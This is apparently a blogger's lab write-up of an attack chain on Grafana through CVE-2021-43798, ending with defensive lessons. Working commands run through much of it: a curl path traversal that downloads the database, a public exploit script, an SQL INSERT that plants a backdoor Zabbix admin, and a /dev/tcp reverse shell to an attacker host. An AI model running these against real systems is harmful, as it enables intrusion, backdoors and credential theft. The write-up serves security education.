Post

Grafana, Passwords, and Poor Life Choices: CVE-2021-43798

Grafana, Passwords, and Poor Life Choices: CVE-2021-43798

Disclaimer

Before my friends in legal get mad at me - this was all done in my own lab. Everything you’re about to see has been redacted because I actually like my freedom.

Don’t try this on stuff you don’t own. Hacking random companies is illegal, unethical, and a great way to make new friends in prison.

Set up your own lab, break your own stuff, learn from it. That’s the way.


The Story

So there I was, just casually port scanning my lab environment (as one does on a Friday evening), when I spotted port 3000 open. “Oh cool, Grafana!” I thought. Little did I know I was about to speedrun my way to root access faster than you can say “defense in depth.”

The TL;DR:

  1. Found a Grafana with CVE-2021-43798 (path traversal)
  2. Read some files I definitely shouldn’t have been able to read
  3. Got a secret key (spoiler: it wasn’t that secret)
  4. Decrypted ALL the passwords
  5. Logged into Grafana like I owned the place
  6. Used SQL execution
  7. Created a backdoor admin account
  8. Got a reverse shell
  9. Found out everyone was using the same password
  10. Became root

Times I said “no way that worked”: Too many to count Lessons learned: Password reuse is a hell of a drug


Part 1: Background

What is Grafana?

Grafana is basically this pretty web interface that makes graphs and dashboards for monitoring stuff. Sysadmins love it because it makes their metrics look cool. Attackers love it because it usually has credentials for literally everything it monitors.

Think of it as the keys to the kingdom, except the keys are in a glass box with “break in case of emergency” written on it, and CVE-2021-43798 is the hammer.

Path Traversal 101

Path traversal is when you can use ../ to navigate up directories and read files you shouldn’t be able to.

1
2
3
4
5
# Normal request
GET /files/user123/document.pdf

# Spicy request
GET /files/../../../etc/passwd

The second one tries to go up three directories and read /etc/passwd. If the application doesn’t properly validate the path… well, you get to read stuff you shouldn’t.


Part 2: Finding the Vulnerability

Testing for CVE-2021-43798

The vulnerability exists in Grafana versions 8.0.0 through 8.3.0. The plugin loading mechanism didn’t properly validate file paths, so we can just ask nicely for files.

path traversal proof

And just like that, we’re reading /etc/passwd!

The server just gave it to me. No authentication, no nothing. Just “here’s a system file, hope you have a great day!”


Part 3: Secret Key Hunting

Grabbing grafana.ini

Every Grafana instance has a configuration file at /etc/grafana/grafana.ini. This file is chef’s kiss because it contains:

  • The secret key used for encryption
  • Database configuration
  • Admin credentials (sometimes)
  • Other juicy config details

grafana.ini contents

BINGO! Look at that beautiful secret key just sitting there. This is the encryption key Grafana uses to “protect” sensitive data like database passwords.

1
2
3
4
5
6
7
8
[security]
secret_key = [REDACTED]
admin_user = admin
admin_password = admin

[database]
type = sqlite3
path = grafana.db

The secret key is literally the master key to decrypt everything. It’s like finding the password to the password manager.

Guy tapping head meme


Part 4: Database Heist

Stealing grafana.db

Grafana stores everything in a SQLite database. Users, data sources, dashboards, encrypted passwords - it’s all in there.

1
2
3
curl --path-as-is \
  "http://[TARGET]/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db" \
  -o grafana.db

Got it! Now we have a complete dump of the Grafana database sitting on our attacker machine.

Exploring the Database

1
sqlite3 grafana.db
1
2
.tables
SELECT * FROM data_source;

The data_source table is where things get interesting. Each row contains: data source name, type (MySQL, PostgreSQL, etc.), connection URL, username, and an encrypted password.

Example entry:

1
2
3
4
{
  "password": "RLA==",
  "database": "zabbix"
}

Part 5: Breaking the “Encryption”

How Grafana “Secures” Passwords

Grafana uses AES-256-CFB encryption with the secret key to protect data source passwords. The format is:

1
base64(IV + encrypted_data)

Sounds secure, right? It’s only as secure as your secret key. And guess what we already have?

The Easy Way: Web Tool

Grafana Key Decryptor

Just paste in your encrypted password hash, the secret key from grafana.ini, click decrypt, watch the password appear in plaintext.

decrypted password

Success! The passwords just fell out. Like digital candy from a pinata.


Part 6: Going Full Auto

The Automated Approach

pedrohavay exploit script

1
2
3
git clone https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798
cd exploit-grafana-CVE-2021-43798
python3 exploit.py

exploit script

The tool automatically tests for the vulnerability, downloads important files, extracts the secret key, decrypts all passwords, and gives you a nice report.


Part 7: Admin Access Unlocked

With the decrypted credentials:

  • URL: http://[TARGET]:3000/login
  • Username: admin
  • Password: [REDACTED]

grafana login success

I’m in!


Part 8: SQL Execution

Discovering the MySQL Data Source

Grafana has this neat feature where admin users can execute SQL queries through data sources. It’s not a bug, it’s a feature! (It’s also a massive security risk if you get compromised.)

I found a MySQL data source connected to a Zabbix database. Zabbix is a monitoring platform that monitors servers, network devices, applications - basically everything in your infrastructure.

Zabbix databases contain: user accounts and passwords, monitored host information, network topology, scripts that can be executed, and stored credentials for accessing monitored systems.

Creating a Query Panel

new dashboard panel

query editor

1
SELECT @@version;

version query

Result: 10.3.39-MariaDB-0+deb10u2

1
SELECT DATABASE();

database query

Result: zabbix

Confirmed SQL execution on a Zabbix database.


Part 9: Zabbix Database Spelunking

Extracting User Accounts

1
SELECT userid, alias, name, passwd, roleid FROM users;

This query dumped user accounts with bcrypt password hashes. But I don’t need to crack them - I can just create my own admin account!

Creating a Backdoor Admin

Step 1 - Generate a password hash:

1
php -r "echo password_hash('MySecurePassword', PASSWORD_BCRYPT);"

Step 2 - Insert the backdoor user:

1
2
3
4
5
6
7
8
9
10
INSERT INTO users (
  userid, alias, name, surname, passwd,
  autologin, lang, refresh, theme,
  rows_per_page, timezone, roleid
)
VALUES (
  123, 'superAdmin', 'Network', 'Monitor',
  '$2a$15$[HASH_VALUE]',
  0, 'en_GB', '30s', 'America/Belize', 50, 'UTC', 3
);

insert backdoor

Verification:

1
SELECT userid, alias, name, passwd FROM users WHERE userid = 123;

verify backdoor

Username: superAdmin, Password: MySecurePassword, Role: Super Admin (roleid = 3)


Part 10: Zabbix Access

With my shiny new backdoor account, I headed over to the Zabbix web interface.

zabbix dashboard

The Scripts section is where Zabbix admins can create scripts to run on monitored systems. It’s meant for automation and troubleshooting. It’s also perfect for getting a reverse shell.


Part 11: Getting a Shell

Creating a Reverse Shell Script

Navigation: Administration -> Scripts -> Create Script

create script

Configuration:

1
2
3
4
Name: system_check
Type: Script
Execute on: Zabbix server
Commands: sh -i >& /dev/tcp/[ATTACKER_IP]/4444 0>&1

Setting up the listener:

1
nc -lvnp 4444

Part 12: Shell Access

shell as zabbix

Shell as the zabbix user on the monitoring server.

  • Remote shell: done
  • Access to monitoring configurations: done
  • Can see all monitored infrastructure: done
  • Root: not yet

Part 13: The Root Speedrun

Password Reuse to the Rescue

Remember all those passwords we decrypted earlier? Time to test if anyone committed the cardinal sin of password reuse.

1
2
zabbix@zabbix:/tmp$ su root
Password: [REDACTED - Same password as Grafana admin]

root access

THEY USED THE SAME PASSWORD FOR ROOT AS THEY DID FOR GRAFANA.

I literally just typed one password and became root. No privilege escalation exploit. No kernel vulnerabilities. Just good old-fashioned password reuse.

The same password was used for:

  • Grafana admin account
  • MySQL database credentials
  • Root system account

expanding brain meme


The Attack Chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[CVE-2021-43798 Path Traversal]
         |
[Read grafana.ini + grafana.db]
         |
[Extract secret key]
         |
[Decrypt all passwords]
         |
[Grafana admin access]
         |
[SQL execution]
         |
[Create backdoor in Zabbix]
         |
[Zabbix admin access]
         |
[Execute reverse shell script]
         |
[Shell as zabbix user]
         |
[Password reuse = instant root]
         |
[Complete infrastructure compromise]

Number of exploits needed: Technically just one (CVE-2021-43798) Everything else: Poor security practices compounding


Why This Worked

This wasn’t a sophisticated APT with zero-days and custom malware. This was a textbook case of multiple things going wrong at once.

Failure 1: Unpatched Software CVE-2021-43798 has been known since December 2021. Patches were available. This Grafana was still vulnerable.

Failure 2: Weak Secret Key The secret key wasn’t strong enough. Everything is encrypted with this key.

Failure 3: Password Reuse The same password for Grafana admin, database connections, and root account. This is the big one.

Failure 4: Too Many Privileges Grafana allowed arbitrary SQL execution. Zabbix allowed script execution. No restrictions.

The point: ANY ONE of these being fixed would have stopped or severely hampered this attack.


Takeaways

  1. Patch your systems - known CVEs will bite you
  2. Use unique passwords - password reuse will destroy your security faster than any zero-day
  3. Monitoring systems need to be secured like production systems
  4. Your encryption is only as good as your key management
  5. Defense in depth is not optional

Resources

This post is licensed under CC BY 4.0 by the author.